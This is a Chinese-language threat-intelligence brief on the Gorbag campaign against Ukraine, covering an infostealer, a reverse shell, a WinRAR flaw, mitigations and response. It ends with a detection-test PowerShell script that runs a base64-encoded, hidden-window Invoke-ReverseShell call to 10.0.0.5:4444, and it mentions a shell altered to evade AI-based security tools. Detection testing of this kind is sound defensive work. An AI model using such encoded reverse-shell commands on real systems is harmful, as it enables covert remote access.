Gorbag恶意软件活动从乌克兰收集情报

摘要

Gorbag 是一个与俄罗斯结盟的威胁参与者，目标是乌克兰组织以收集敏感信息。该组织使用一套专业工具包，包括 BeautyStealer 信息窃取程序和 Prime ReverseShell，以收集浏览器凭证、VPN 配置和文档。其行动侧重于快速情报收集而非长期持久性，表明可能担任初始访问经纪人的角色。

调查

ESET 研究人员自 2025 年 2 月以来一直跟踪 Gorbag 的活动，并观察到 2026 年转向利用 WinRAR 路径遍历漏洞。调查识别出多个 BeautyStealer 变体，并分析了通过 Telegram 和自定义 C2 基础设施的外泄情况。研究人员还发现了一种 PowerShell 反向壳，经过修改以误导基于 AI 的安全工具。

缓解措施

组织应更新 WinRAR 以解决 CVE-2025-8088 并加强电子邮件过滤以阻止钓鱼攻击。通过组策略限制宏执行可以帮助防止初始感染阶段。安全团队还应监控异常的 PowerShell 活动和未经授权的数据外泄到例如 Telegram 之类的服务。

响应

当检测到恶意活动时，应隔离被攻陷的主机以阻止进一步的数据外泄和凭证盗窃。对 %ProgramData% 目录和 Windows 启动文件夹进行取证分析，寻找可疑的 LNK 文件或有效载荷。重置所有可能暴露的凭证，包括浏览器存储的密码和 VPN 配置，贯穿受影响的环境。

模拟执行

• 攻击叙述与命令： 一个对手通过鱼叉式钓鱼附件获得了初始访问权限。为了建立持久性和指挥与控制（C2）通道，他们尝试部署“Prime ReverseShell”。他们使用 PowerShell 和 -Enc （EncodedCommand）标志以隐藏有效负载结构，使其从基本检查中隐藏，并在解码逻辑中包含字符串 Invoke-ReverseShell 以保持与现有工具包签名的兼容性。同时，他们通过调用包含该特定标识符的脚本来模拟“BeautyStealer”活动以外泄浏览器数据。

• 回归测试脚本：

  # 模拟脚本：Gorbag APT 模式触发
  # 此脚本执行两个独立的命令以触发特定检测字符串。
  
  Write-Host "[+] 开始模拟：触发 Prime ReverseShell/BeautyStealer 逻辑..." -ForegroundColor Cyan
  
  # 1. 通过 -Enc 和 Invoke-ReverseShell 触发（模拟 Prime ReverseShell）
  # 我们使用 Base64 编码的命令，该命令在解码时包含 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] 执行编码命令..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. 通过 'BeautyStealer' 关键字触发（模拟 BeautyStealer 活动）
  Write-Host "[+] 执行 BeautyStealer 关键字触发..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] 模拟命令已分发。" -ForegroundColor Green

• 清理命令：

  # 清理：未创建持久文件，但我们确保没有孤立进程保留。
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] 清理完成。" -ForegroundColor Cyan